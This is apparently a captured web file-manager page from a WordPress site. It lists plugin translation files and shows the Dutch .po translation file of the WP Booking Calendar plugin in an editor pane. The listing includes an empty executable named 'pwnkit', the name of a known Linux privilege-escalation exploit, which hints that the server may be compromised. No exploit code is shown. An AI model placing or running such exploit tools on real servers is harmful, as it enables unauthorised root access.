essential-addons-for-elementor...
531.69
KB
-rw-r--r--
file-manager-advanced-de_DE.l1...
4.89
KB
-rw-r--r--
file-manager-advanced-de_DE.mo
5.75
KB
-rw-r--r--
file-manager-advanced-de_DE.po
7.82
KB
-rw-r--r--
file-manager-advanced-es_ES.l1...
4.91
KB
-rw-r--r--
file-manager-advanced-es_ES.mo
5.77
KB
-rw-r--r--
file-manager-advanced-es_ES.po
7.85
KB
-rw-r--r--
file-manager-advanced-nl_NL.l1...
4.79
KB
-rw-r--r--
file-manager-advanced-nl_NL.mo
5.66
KB
-rw-r--r--
file-manager-advanced-nl_NL.po
7.73
KB
-rw-r--r--
gtranslate-es_ES.l10n.php
17.6
KB
-rw-r--r--
gtranslate-es_ES.mo
21.99
KB
-rw-r--r--
gtranslate-es_ES.po
28.22
KB
-rw-r--r--
gtranslate-fr_FR.l10n.php
11.22
KB
-rw-r--r--
gtranslate-fr_FR.mo
14.99
KB
-rw-r--r--
gtranslate-fr_FR.po
20.4
KB
-rw-r--r--
gtranslate-nl_NL.l10n.php
16.8
KB
-rw-r--r--
gtranslate-nl_NL.mo
21.19
KB
-rw-r--r--
gtranslate-nl_NL.po
27.41
KB
-rw-r--r--
hello-dolly-fr_FR.l10n.php
1.09
KB
-rw-r--r--
metform-fr_FR.l10n.php
39.73
KB
-rw-r--r--
metform-fr_FR.mo
52.48
KB
-rw-r--r--
metform-fr_FR.po
105.55
KB
-rw-r--r--
metform-nl_NL.l10n.php
56.36
KB
-rw-r--r--
metform-nl_NL.mo
73.08
KB
-rw-r--r--
metform-nl_NL.po
136.57
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
really-simple-ssl-de_DE-20df4f...
1.53
KB
-rw-r--r--
really-simple-ssl-de_DE-2f6a73...
2.58
KB
-rw-r--r--
really-simple-ssl-de_DE-3e12bb...
2.45
KB
-rw-r--r--
really-simple-ssl-de_DE-5c5090...
313
B
-rw-r--r--
really-simple-ssl-de_DE-5c8c5a...
1.15
KB
-rw-r--r--
really-simple-ssl-de_DE-8012e4...
12.91
KB
-rw-r--r--
really-simple-ssl-de_DE-e8d8b0...
358
B
-rw-r--r--
really-simple-ssl-de_DE.mo
91.09
KB
-rw-r--r--
really-simple-ssl-de_DE.po
121.22
KB
-rw-r--r--
really-simple-ssl-es_ES-20df4f...
1.54
KB
-rw-r--r--
really-simple-ssl-es_ES-2f6a73...
2.58
KB
-rw-r--r--
really-simple-ssl-es_ES-3e12bb...
2.42
KB
-rw-r--r--
really-simple-ssl-es_ES-5c5090...
316
B
-rw-r--r--
really-simple-ssl-es_ES-5c8c5a...
1.18
KB
-rw-r--r--
really-simple-ssl-es_ES-8012e4...
12.85
KB
-rw-r--r--
really-simple-ssl-es_ES-e8d8b0...
351
B
-rw-r--r--
really-simple-ssl-es_ES.mo
91.83
KB
-rw-r--r--
really-simple-ssl-es_ES.po
121.98
KB
-rw-r--r--
really-simple-ssl-fr_FR-20df4f...
1.64
KB
-rw-r--r--
really-simple-ssl-fr_FR-2f6a73...
2.79
KB
-rw-r--r--
really-simple-ssl-fr_FR-3e12bb...
2.67
KB
-rw-r--r--
really-simple-ssl-fr_FR-5c5090...
323
B
-rw-r--r--
really-simple-ssl-fr_FR-5c8c5a...
1.21
KB
-rw-r--r--
really-simple-ssl-fr_FR-8012e4...
14.02
KB
-rw-r--r--
really-simple-ssl-fr_FR-e8d8b0...
350
B
-rw-r--r--
really-simple-ssl-fr_FR.mo
94.15
KB
-rw-r--r--
really-simple-ssl-fr_FR.po
124.29
KB
-rw-r--r--
really-simple-ssl-it_IT-20df4f...
1.48
KB
-rw-r--r--
really-simple-ssl-it_IT-2f6a73...
2.47
KB
-rw-r--r--
really-simple-ssl-it_IT-3e12bb...
2.26
KB
-rw-r--r--
really-simple-ssl-it_IT-5c5090...
314
B
-rw-r--r--
really-simple-ssl-it_IT-5c8c5a...
1.08
KB
-rw-r--r--
really-simple-ssl-it_IT-8012e4...
12.04
KB
-rw-r--r--
really-simple-ssl-it_IT-e8d8b0...
350
B
-rw-r--r--
really-simple-ssl-it_IT.mo
87.35
KB
-rw-r--r--
really-simple-ssl-it_IT.po
117.15
KB
-rw-r--r--
really-simple-ssl-nl_NL-20df4f...
1.46
KB
-rw-r--r--
really-simple-ssl-nl_NL-2f6a73...
2.42
KB
-rw-r--r--
really-simple-ssl-nl_NL-3e12bb...
2.27
KB
-rw-r--r--
really-simple-ssl-nl_NL-5c5090...
313
B
-rw-r--r--
really-simple-ssl-nl_NL-5c8c5a...
1.07
KB
-rw-r--r--
really-simple-ssl-nl_NL-8012e4...
11.84
KB
-rw-r--r--
really-simple-ssl-nl_NL-e8d8b0...
352
B
-rw-r--r--
really-simple-ssl-nl_NL.mo
87.24
KB
-rw-r--r--
really-simple-ssl-nl_NL.po
117.38
KB
-rw-r--r--
simply-schedule-appointments-d...
796
B
-rw-r--r--
simply-schedule-appointments-d...
185.64
KB
-rw-r--r--
simply-schedule-appointments-d...
217.7
KB
-rw-r--r--
simply-schedule-appointments-d...
338.89
KB
-rw-r--r--
simply-schedule-appointments-e...
765
B
-rw-r--r--
simply-schedule-appointments-e...
111.18
KB
-rw-r--r--
simply-schedule-appointments-e...
133.47
KB
-rw-r--r--
simply-schedule-appointments-e...
225.73
KB
-rw-r--r--
simply-schedule-appointments-f...
429
B
-rw-r--r--
simply-schedule-appointments-f...
134.13
KB
-rw-r--r--
simply-schedule-appointments-f...
158.06
KB
-rw-r--r--
simply-schedule-appointments-f...
254.81
KB
-rw-r--r--
simply-schedule-appointments-n...
417
B
-rw-r--r--
simply-schedule-appointments-n...
107.29
KB
-rw-r--r--
simply-schedule-appointments-n...
129.64
KB
-rw-r--r--
simply-schedule-appointments-n...
223.79
KB
-rw-r--r--
wp-downgrade-de_DE.l10n.php
3.97
KB
-rw-r--r--
wp-downgrade-de_DE.mo
4.48
KB
-rw-r--r--
wp-downgrade-de_DE.po
5.31
KB
-rw-r--r--
wp-downgrade-es_ES.mo
4.62
KB
-rw-r--r--
wp-downgrade-es_ES.po
5.46
KB
-rw-r--r--
wp-downgrade-fr_FR.mo
4.62
KB
-rw-r--r--
wp-downgrade-fr_FR.po
5.46
KB
-rw-r--r--
wp-downgrade-nl_NL.mo
4.31
KB
-rw-r--r--
wp-downgrade-nl_NL.po
5.14
KB
-rw-r--r--
wp-whatsapp-chat-de_DE-4ede920...
7.53
KB
-rw-r--r--
wp-whatsapp-chat-de_DE-f37c6ce...
311
B
-rw-r--r--
wp-whatsapp-chat-de_DE.l10n.ph...
1.15
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.mo
1.64
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.po
4.31
KB
-rw-r--r--
wp-whatsapp-chat-es_ES-4ede920...
8.97
KB
-rw-r--r--
wp-whatsapp-chat-es_ES-f37c6ce...
913
B
-rw-r--r--
wp-whatsapp-chat-es_ES.l10n.ph...
2.21
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.mo
2.87
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.po
6.29
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR-4ede920...
10.9
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR-f37c6ce...
922
B
-rw-r--r--
wp-whatsapp-chat-fr_FR.l10n.ph...
2.26
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR.mo
2.95
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR.po
6.7
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL-4ede920...
12.36
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL-c306bcb...
383
B
-rw-r--r--
wp-whatsapp-chat-nl_NL-f37c6ce...
838
B
-rw-r--r--
wp-whatsapp-chat-nl_NL.l10n.ph...
5.24
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.mo
6.29
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.po
11.57
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : booking-nl_NL.po
# Translation of Plugins - WP Booking Calendar - Stable (latest release) in Dutch # This file is distributed under the same license as the Plugins - WP Booking Calendar - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2024-07-30 12:42:27+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.1\n" "Language: nl\n" "Project-Id-Version: Plugins - WP Booking Calendar - Stable (latest release)\n" #: core/lang/wpbc_all_translations.php:741 includes/_functions/regex_str.php:69 msgid "N_O" msgstr "N_E_E" #: core/lang/wpbc_all_translations.php:740 includes/_functions/regex_str.php:66 msgid "Y_E_S" msgstr "J_A" #: core/lang/wpbc_all_translations.php:756 core/wpbc_welcome.php:308 msgid "See %sall shortcodes%s of the Booking Calendar that you can use in pages." msgstr "Bekijk %salle shortcodes%s van de Booking Calendar die je op pagina's kunt gebruiken." #: core/admin/api-settings.php:819 core/lang/wpbc_all_translations.php:84 #: core/wpbc-activation.php:981 msgid "Your booking is received. We will confirm it soon. Many thanks!" msgstr "Je boeking is ontvangen. We zullen het binnenkort bevestigen. Bedankt!" #: core/admin/api-settings.php:400 core/lang/wpbc_all_translations.php:44 #: core/lib/wpbc-calendar-legend.php:156 core/wpbc-activation.php:1211 #: includes/page-availability/availability__toolbar_ui.php:191 #: includes/page-customize/customize__templates.php:2213 #: includes/_capacity/capacity.php:998 msgid "Unavailable" msgstr "Niet beschikbaar" #: core/lang/wpbc_all_translations2.php:29 #: includes/page-availability/availability__page.php:43 msgid "Define available and unavailable days for calendar(s)" msgstr "Definieer beschikbare en niet beschikbare dagen voor de kalender(s)" #: core/admin/page-ics-general.php:200 core/lang/wpbc_all_translations.php:297 msgid "Export bookings type" msgstr "Exporteer boekingstype" #: core/admin/page-ics-general.php:201 core/lang/wpbc_all_translations.php:298 msgid "Select which type of bookings to export" msgstr "Selecteer welk type van boekingen om te exporteren" #: core/admin/page-ics-general.php:206 core/lang/wpbc_all_translations.php:300 msgid "Bookings created in Booking Calendar" msgstr "Boekingen gemaakt in Booking Calendar" #: core/admin/page-ics-general.php:207 core/lang/wpbc_all_translations.php:301 msgid "Imported bookings" msgstr "Geïmporteerde boekingen" #: core/lang/wpbc_all_translations.php:849 msgid "Disable days selection" msgstr "Uitschakelen van dagen selectie" #: core/lang/wpbc_all_translations.php:850 msgid "Check this box to %sdisable days selection in calendar%s after redirection from search results" msgstr "Vink dit vakje aan om %sde selectie van dagen in kalender%s uit te schakelen na omleiding vanuit zoekresultaten" #: core/lang/wpbc_all_translations.php:851 msgid "Use it to prevent bookings that are not allowed with such days selection in different booking resources." msgstr "Gebruik het om boekingen te voorkomen die niet toegestaan zijn met zo'n dagen selectie in verschillende boekingsbronnen." #: core/lang/wpbc_all_translations1.php:774 msgid "Card" msgstr "Kaart" #: core/lang/wpbc_all_translations1.php:775 msgid "Payment Methods" msgstr "Betaalmethoden" #: core/lang/wpbc_all_translations.php:540 #: includes/page-form-simple/page-form-simple.php:336 msgid "Title of send button" msgstr "Titel van de verzend knop" #: core/lang/wpbc_all_translations.php:542 #: includes/page-form-simple/page-form-simple.php:341 msgid "Enter %stitle of submit button%s in the booking form" msgstr "Voer %stitel van verzendknop%s in het boekingsformulier in" #: core/lang/wpbc_all_translations1.php:423 msgid "The booked dates already in the past" msgstr "De geboekte datums zijn al in het verleden" #: core/lang/wpbc_all_translations1.php:776 msgid "Select one or several payment methods." msgstr "Selecteer een of meerdere betaalmethoden." #: core/lang/wpbc_all_translations1.php:777 msgid "Use Ctrl button to select multiple options." msgstr "Gebruik CTRL knop om meerdere opties te selecteren." #: core/lang/wpbc_all_translations1.php:778 msgid "Different payment methods require different conditions. Some payment methods require selection of EUR currency, other available only in specific countries." msgstr "Verschillende betaalmethoden vereisen verschillende voorwaarden. Sommige betaalmethoden vereisen de keuze van een EUR-valuta, andere zijn alleen beschikbaar in specifieke landen." #: core/lang/wpbc_all_translations1.php:779 msgid "can only be charged in" msgstr "kan alleen worden aangerekend in" #: core/lang/wpbc_all_translations1.php:780 msgid "available only for countries" msgstr "alleen beschikbaar voor landen" #: core/lang/wpbc_all_translations1.php:781 msgid "require activation in your Stripe dashboard" msgstr "vereist activering in je Stripe dashboard" #: core/lang/wpbc_all_translations1.php:230 msgid "columns" msgstr "kolommen" #: core/admin/api-settings.php:521 core/lang/wpbc_all_translations.php:53 #: includes/page-form-simple/templates_form_simple.php:139 msgid "Time Picker Skin" msgstr "Tijdskiezer skin" #: core/admin/api-settings.php:495 core/lang/wpbc_all_translations.php:51 #: includes/page-form-simple/page-form-simple.php:657 msgid "Time picker for time slots" msgstr "Tijdskiezer voor tijdssloten" #: core/admin/api-settings.php:496 core/lang/wpbc_all_translations.php:52 #: includes/page-form-simple/page-form-simple.php:658 msgid "Show time slots as a time picker instead of a select box." msgstr "Toon tijdslots als een tijdkiezer in plaats van een selectievakje." #: core/admin/api-settings.php:522 core/lang/wpbc_all_translations.php:54 msgid "Select the skin of the time picker" msgstr "Selecteer de skin van de tijdskiezer" #: core/lang/wpbc_all_translations1.php:231 msgid "2 columns with times" msgstr "2 kolommen met tijden" #: core/lang/wpbc_all_translations1.php:232 msgid "Time slots" msgstr "Tijdsblokken" #: core/lang/wpbc_all_translations1.php:437 msgid "Auto-updates are not available for this plugin." msgstr "Auto-updates zijn niet beschikbaar voor deze plugin." #: core/lang/wpbc_all_translations1.php:715 msgid "PayPal Fee" msgstr "Paypal toeslag" #: core/lang/wpbc_all_translations1.php:716 msgid "If you need to add %sPayPal tax fee%s payment (only for PayPal payment system), then enter amount of tax fee in percents" msgstr "Als je een %sPayPal belasting toeslag%s betaling moet toevoegen (alleen voor PayPal betaling systeem), voer je het getal van de belasting toeslag in als procenten" #: core/lang/wpbc_all_translations1.php:229 msgid "Calendar next to form" msgstr "Kalender naast formulier" #: core/lang/wpbc_all_translations1.php:673 msgid "PayPal fee" msgstr "Paypal toeslag" #: core/admin/page-ics-import.php:557 core/lang/wpbc_all_translations.php:326 msgid "Is it automatic process?" msgstr "Is het een automatisch proces?" #: core/admin/page-ics-import.php:567 core/lang/wpbc_all_translations.php:327 msgid "By default .ics import is not automatic process. You need to set up CRON script on your server to periodically access front-end page(s) with import .ics feeds shortcodes." msgstr "Het .ics importeerproces verloopt niet standaard automatisch. Je dient hiervoor een CRON script op de server aan te maken om periodiek front-end pagina('s) te benaderen met importeer .ics feeds shortcodes." #: core/lang/wpbc_all_translations2.php:172 js/wpbc-gutenberg.js:62 msgid "Show a booking form, availability calendar or other elements from Booking Calendar plugin." msgstr "Toon een boekingsformulier, beschikbaarheidskalender of andere elementen van de Booking Calendar plug-in." #: core/lang/wpbc_all_translations2.php:173 js/wpbc-gutenberg.js:151 msgid "Configure Booking Calendar Block" msgstr "Configureer het Booking Calendar blok" #: core/lang/wpbc_all_translations2.php:174 js/wpbc-gutenberg.js:660 #: js/wpbc-gutenberg.js:755 js/wpbc-gutenberg.js:948 msgid "Visible months number" msgstr "Aantal zichtbare maanden" #: core/lang/wpbc_all_translations2.php:175 js/wpbc-gutenberg.js:663 #: js/wpbc-gutenberg.js:758 js/wpbc-gutenberg.js:951 msgid "Start month" msgstr "Start maand" #: core/lang/wpbc_all_translations2.php:176 js/wpbc-gutenberg.js:666 #: js/wpbc-gutenberg.js:1031 msgid "Custom booking form" msgstr "Aangepast reserveringsformulier" #: core/lang/wpbc_all_translations2.php:177 js/wpbc-gutenberg.js:669 #: js/wpbc-gutenberg.js:761 js/wpbc-gutenberg.js:957 msgid "Unavailable dates from other booking resources" msgstr "Niet beschikbare data van andere boekingsobjecten" #: core/lang/wpbc_all_translations1.php:871 #: includes/ui_modal__shortcodes/sh_tpl_booking_calendar.php:101 #: js/wpbc-gutenberg.js:706 msgid "Availability Calendar" msgstr "Beschikbaarheidskalender" #: core/admin/page-settings.php:116 core/lang/wpbc_all_translations.php:398 #: js/wpbc-gutenberg.js:799 msgid "Timeline" msgstr "Tijdslijn" #: core/lang/wpbc_all_translations2.php:178 js/wpbc-gutenberg.js:834 #: js/wpbc-gutenberg.js:936 msgid "Booking resource(s)" msgstr "Boekingsobject(en)" #: core/lang/wpbc_all_translations2.php:179 js/wpbc-gutenberg.js:871 msgid "Show from/to" msgstr "Toon van/naar" #: core/lang/wpbc_all_translations2.php:180 js/wpbc-gutenberg.js:888 msgid "All booking resources" msgstr "Alle boekingsobjecten" #: core/lang/wpbc_all_translations2.php:181 js/wpbc-gutenberg.js:905 msgid "Selection of Resources" msgstr "Selectie van Boekingsobjecten" #: core/lang/wpbc_all_translations2.php:182 js/wpbc-gutenberg.js:942 msgid "Selected booking resource (by default)" msgstr "Selecteer een boekingsobject (standaard)" #: core/lang/wpbc_all_translations2.php:183 js/wpbc-gutenberg.js:945 msgid "Title of first option in list" msgstr "Titel van de eerste optie in de lijst" #: core/lang/wpbc_all_translations2.php:184 js/wpbc-gutenberg.js:954 msgid "Custom booking form for all booking resources" msgstr "Aangepast boekingsformulier voor alle boekingsobjecten" #: core/lang/wpbc_all_translations2.php:185 js/wpbc-gutenberg.js:990 msgid "Booking Form (without calendar)" msgstr "Boekingsformulier (zonder kalender)" #: core/lang/wpbc_all_translations2.php:186 js/wpbc-gutenberg.js:1028 msgid "Date for submit booking" msgstr "Boekingsdatum" #: core/lang/wpbc_all_translations2.php:187 js/wpbc-gutenberg.js:1060 msgid "Search Availability form" msgstr "Zoek beschikbaarheidsformulier" #: core/lang/wpbc_all_translations2.php:188 js/wpbc-gutenberg.js:1091 msgid "Show search results on other page" msgstr "Toon zoekresultaten op een andere pagina" #: core/lang/wpbc_all_translations2.php:189 js/wpbc-gutenberg.js:1094 msgid "Search results page must have this shortcode" msgstr "De zoekresultatenpagina moet deze shortcode bevatten" #: core/lang/wpbc_all_translations2.php:190 js/wpbc-gutenberg.js:1097 msgid "Show search results in the same page" msgstr "Toon zoekresultaten op dezelfde pagina" #: core/lang/wpbc_all_translations2.php:191 msgid "Search Results Title" msgstr "Zoekresultaten Titel" #: core/lang/wpbc_all_translations2.php:192 msgid "Title, if no search results" msgstr "Titel indien er geen zoekresultaten zijn" #: core/lang/wpbc_all_translations2.php:193 js/wpbc-gutenberg.js:1106 msgid "Search in booking resources of WP users" msgstr "Zoek in boekingsobjecten van WP gebruikers" #: core/lang/wpbc_all_translations2.php:194 js/wpbc-gutenberg.js:1160 msgid "Show search results on this page, after redirection from search form at other page." msgstr "Toon zoekresultaten op deze pagina na doorverwijzing van het zoekformulier op een andere pagina." #: core/lang/wpbc_all_translations2.php:195 js/wpbc-gutenberg.js:1184 #: js/wpbc-gutenberg.js:1302 msgid "System Block" msgstr "Systeem Blok" #: core/lang/wpbc_all_translations2.php:202 js/wpbc-gutenberg.js:1348 msgid "This block required for ability to edit, cancel the booking by visitor, who made the booking, or for ability to show payment form, after sending payment request." msgstr "Dit blok is benodigd om de bezoeker die de boeking heeft gedaan de boeking te laten wijzigen of annuleren, of om het betaalformulier te kunnen tonen, na het versturen van een betaalverzoek." #: core/lang/wpbc_all_translations2.php:203 js/wpbc-gutenberg.js:1353 #: js/wpbc-gutenberg.js:1439 msgid "Link to this page must be defined" msgstr "Link naar deze pagina dient te worden gedefinieerd" #: core/lang/wpbc_all_translations2.php:204 js/wpbc-gutenberg.js:1357 #: js/wpbc-gutenberg.js:1443 msgid "at this option" msgstr "bij deze optie" #: core/lang/wpbc_all_translations2.php:205 js/wpbc-gutenberg.js:1367 #: js/wpbc-gutenberg.js:1453 msgid "You can not open this page directly. Please, use links in " msgstr "Je kunt deze pagina niet rechtstreeks openen. Gebruik a.u.b. links in" #: core/lang/wpbc_all_translations2.php:206 js/wpbc-gutenberg.js:1375 #: js/wpbc-gutenberg.js:1461 msgid "If you open this page directly, then you will see this error" msgstr "Als je deze pagina rechtstreeks opent, zie je deze foutmelding" #: core/lang/wpbc_all_translations2.php:208 js/wpbc-gutenberg.js:1403 msgid "Customer Bookings Listing" msgstr "Lijst van kklanten met boeking" #: core/lang/wpbc_all_translations2.php:209 js/wpbc-gutenberg.js:1434 msgid "Visitors of your website, can view previous (own) bookings, by clicking on secret link in email, which is sending after booking created." msgstr "Bezoekers kunnen hiermee (hun eigen) boekingen bekijken door te klikken op de geheime link in de e-mail die verstuurd wordt nadat de boeking is aangemaakt." #: core/lang/wpbc_all_translations2.php:210 js/wpbc-gutenberg.js:1495 msgid "Show Info of Booking Resource" msgstr "Toon informatie over het boekingsobject" #: core/lang/wpbc_all_translations2.php:211 js/wpbc-gutenberg.js:1566 msgid "Click to edit" msgstr "Klik om te wijzigen" #: core/lang/wpbc_all_translations2.php:212 js/wpbc-gutenberg.js:1568 msgid "This is not real preview. Its configuration block of \"Booking Calendar\"." msgstr "Dit is geen echte preview. Het is het blok instellingen van \"Booking Calendar\"." #: core/lang/wpbc_all_translations.php:960 msgid "Set Early / Late Booking" msgstr "Stel vroege/late boeking in" #: core/lang/wpbc_all_translations.php:961 msgid "%sEarly booking discount%s for booking resource" msgstr "%sVroegboekkorting%s voor boekingsobject" #: core/lang/wpbc_all_translations.php:962 msgid "Discount" msgstr "Korting" #: core/lang/wpbc_all_translations.php:963 msgid "Apply discount, only if difference between %stoday%s and %scheck in%s day %smore%s than" msgstr "Pas korting alleen toe indien het verschil in dagen tussen %sVandaag%s en %sCheck-in%s datum %smeer%s is dan" #: core/lang/wpbc_all_translations.php:964 msgid "Apply discount, only if %scheck in%s day inside of this %sseason filter%s" msgstr "Pas korting alleen toe indien %sCheck-in%s datum binnen dit %sSeizoensfilter%s valt" #: core/lang/wpbc_all_translations.php:965 msgid "%sLast minute booking discount%s for booking resource" msgstr "%sLast minute boekingskorting%s voor boekingsobject" #: core/lang/wpbc_all_translations.php:966 msgid "Apply discount, only if difference between %stoday%s and %scheck in%s day %sless%s than" msgstr "Pas korting alleen toe indien het verschil tussen %svandaag%s en %scheck in%s dag %skleiner%s is dan" #: core/lang/wpbc_all_translations.php:993 msgid "Early / Late Booking" msgstr "Vroege/Late boeking" #: core/lang/wpbc_all_translations.php:994 msgid "Set Early / Late Booking Amount" msgstr "Stel bedrag vroege/late boeking in" #: core/admin/api-settings.php:533 core/lang/wpbc_all_translations.php:55 msgid "Do not change background color for partially booked days" msgstr "De achtergrondkleur voor emailsjablonen" #: core/admin/api-settings.php:534 core/lang/wpbc_all_translations.php:56 msgid "Show partially booked days with same background as in legend item" msgstr "Toon deels geboekte dagen met dezelfde achtergrond als in de legenda" #: core/lang/wpbc_all_translations.php:579 #: includes/page-form-simple/generator-timeslots.php:117 msgid "in 24 hour format" msgstr "in 24-uurs format" #: core/lang/wpbc_all_translations.php:581 #: includes/page-form-simple/generator-timeslots.php:143 msgid "Titles" msgstr "Titels" #: core/lang/wpbc_all_translations.php:583 #: includes/page-form-simple/generator-timeslots.php:162 msgid "Visible options in selectbox" msgstr "Zichtbare opties in selectiebox" #: core/lang/wpbc_all_translations.php:584 #: includes/page-form-simple/generator-timeslots.php:204 msgid "Reset times by" msgstr "Reset tijden met" #: core/lang/wpbc_all_translations.php:586 #: includes/page-form-simple/generator-timeslots.php:606 msgid "+ Add Time Slot" msgstr "+ Voeg Tijdsvak toe" #: core/lang/wpbc_all_translations1.php:214 msgid "Lost booking resource" msgstr "Boeking gegevensbron verloren" #: core/admin/page-settings.php:601 core/lang/wpbc_all_translations.php:431 #: includes/page-resource-free/page-resource-free.php:377 msgid "Restore all dismissed windows" msgstr "Herstel alle verworpen vensters" #: core/admin/page-email-trash.php:663 core/lang/wpbc_all_translations.php:268 msgid "Email is sent to visitor after cancelling of booking (moved to trash)." msgstr "E-mailbericht dat wordt verzonden naar de klant na annulering van een boeking (verplaatst naar prullenbak)." #: core/admin/page-ics-export.php:142 core/lang/wpbc_all_translations.php:274 msgid "This feature require %s" msgstr "Deze functionaliteit vereist %s" #: core/admin/page-ics-general.php:182 core/lang/wpbc_all_translations.php:294 msgid "Use check in/out time of plugin, during import .ics feeds" msgstr "Gebruik check-in/-uit tijd van de plugin tijdens het importeren van .ics feeds" #: core/admin/page-ics-general.php:170 core/lang/wpbc_all_translations.php:291 msgid "Append check out day" msgstr "Voeg check-uit dag toe" #: core/lang/wpbc_all_translations.php:647 #: core/timeline/v2/wpbc-class-timeline_v2.php:3001 msgid "Pay" msgstr "Betalen" #: core/admin/wpbc-dashboard.php:332 core/admin/wpbc-dashboard.php:346 #: core/lang/wpbc_all_translations.php:434 msgid "Video guide" msgstr "Video handleiding" #: core/admin/wpbc-dashboard.php:517 core/lang/wpbc_all_translations.php:444 msgid "Demo" msgstr "Demo" #: core/lang/wpbc_all_translations1.php:907 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:193 msgid "Show listing of customer bookings" msgstr "Toon lijst van reserveringen" #: core/lang/wpbc_all_translations1.php:900 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:65 msgid "This shortcode %s is used on a page, where visitors can %sview listing%s of their own booking(s)" msgstr "Deze shortcode %s wordt gebruikt op een pagina waar klanten hun eigen boeking(en) kunnen %sbekijken%s" #: core/lang/wpbc_all_translations1.php:901 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:66 msgid "The content of field %sURL of page for customer bookings listing%s on the %sgeneral booking settings page%s must link to this page" msgstr "De inhoud van veld %sURL om boekingen te bewerken%s op de %salgemene instellingen pagina%s moet naar deze pagina linken" #: core/lang/wpbc_all_translations1.php:902 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:68 msgid "%s You can use in this shortcode the same parameters as for %s shortcode" msgstr "%s Je kunt in deze shortcode dezelfde parameters gebruiken als in %s shortcode" #: core/lang/wpbc_all_translations1.php:903 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:68 msgid "Trick" msgstr "Truc" #: core/class/wpbc-class-notices.php:26 core/lang/wpbc_all_translations.php:506 msgid "Probably you updated your paid version of Booking Calendar by free version or update process failed. You can request the new update of your paid version at %1sthis page%2s." msgstr "Je hebt waarschijnlijk je betaalde versie van Booking Calendar geüpdated naar de gratis versie, of het updateproces is mislukt. Je kunt de nieuwe update van je betaalde versie aanvragen op %1sdeze pagina%2s." #: core/lang/wpbc_all_translations1.php:114 msgid "Email with Payment Request which is sent to Visitor." msgstr "E-mailbericht met een betalingsverzoek dat naar de klant wordt gestuurd." #: core/lang/wpbc_all_translations1.php:211 msgid "Customization of email template, which is sent after modification of booking" msgstr "Aanpassen van e-mail sjabloon dat verzonden wordt na wijziging van een boeking" #: core/lang/wpbc_all_translations1.php:212 msgid "Email is sent to Visitor after Editing of booking." msgstr "E-mailbericht dat aan de klant verzonden wordt na het aanpassen van een boeking." #: core/lang/wpbc_all_translations.php:601 core/lib/wpdev-booking-class.php:257 msgid "Booking resource type is not defined. This can be, when at the URL is wrong booking hash." msgstr "Het type object is niet gedefinieerd. Dit kan voorkomen als de URL een verkeerde boekings-hash heeft." #: core/lang/wpbc_all_translations.php:605 core/lib/wpdev-booking-class.php:691 msgid "My bookings" msgstr "Mijn boekingen" #: core/lang/wpbc_all_translations.php:690 core/wpbc-emails.php:302 msgid "%s - inserting link to the page where visitor can see listing of own bookings, (possible to use the %s parameter for setting different %s of this page. Example: %s )" msgstr "%s - invoegen van een link naar de pagina waar de klant de boeking kan aanpassen, (mogelijk om de %s parameter te gebruiken om verschillende %s van deze pagina in te stellen. Bijvoorbeeld: %s)" #: core/lang/wpbc_all_translations.php:863 msgid "Inline Search Form Template" msgstr "Sjabloon voor zoekformulier tussen tekst" #: core/lang/wpbc_all_translations.php:904 msgid "Show booking details in tooltip" msgstr "Toon de boekingsdetails als tooltip" #: core/admin/api-settings.php:1000 core/admin/page-settings.php:412 #: core/lang/wpbc_all_translations.php:94 core/wpbc-activation.php:1012 #: includes/_capacity/capacity.php:1334 msgid "Booking details" msgstr "Reserveringsdetails" #: core/lang/wpbc_all_translations.php:906 msgid "You can use the shortcodes from the bottom form of Settings Fields page." msgstr "Je kunt de shortcodes van het onderste formulier van de pagina veldinstellingen gebruiken." #: core/lang/wpbc_all_translations.php:943 msgid "Use arithmetic expressions in cost configurations, including fields shortcodes and simple mathematics operations" msgstr "Gebruik rekenkundige expressies in de prijs-configuratie, inclusief veld-shortcodes en eenvoudige wiskundige functies" #: core/lang/wpbc_all_translations.php:944 msgid "if selected %s" msgstr "indien geselecteerd %s" #: core/lang/wpbc_all_translations1.php:81 msgid "Set check out date as available" msgstr "Toon check-uit data als Beschikbaar" #: core/lang/wpbc_all_translations1.php:82 msgid "Check this option, to remove last selected day of saving to booking." msgstr "Vink deze optie aan om aankomst-/vertrektijd te gebruiken tijdens het boeken." #: core/lang/wpbc_all_translations1.php:98 msgid "Auto approve bookings during import" msgstr "Boekingen automatisch accepteren tijdens het importeren" #: core/lang/wpbc_all_translations1.php:99 msgid "Check this checkbox to activate auto approve of all bookings %sduring import from external source(s)%s." msgstr "Vink aan om alle boekingen %stijdens het importeren van een externe bron automatisch te accepteren%s." #: core/lang/wpbc_all_translations1.php:100 msgid "Auto approve booking, if booking cost is zero" msgstr "Accepteer boeking automatisch als boekingskosten nul zijn" #: core/lang/wpbc_all_translations1.php:101 msgid "Check this checkbox to activate auto approve of booking, %swhen cost of booking is zero%s." msgstr "Vink aan om het accepteren van alle nieuwe reserveringsaanvragen automatisch te accepteren, %s als de boekingskosten nul zijn%s." #: core/lang/wpbc_all_translations1.php:102 msgid "Auto approve bookings after creation booking in admin panel" msgstr "Keur boekingen gemaakt in het admin panel automatisch goed" #: core/lang/wpbc_all_translations1.php:103 msgid "Check this checkbox to activate auto approve of booking, %sif booking was made in admin panel%s." msgstr "Vink aan om het accepteren van alle nieuwe reserveringsaanvragen automatisch te accepteren, %s als 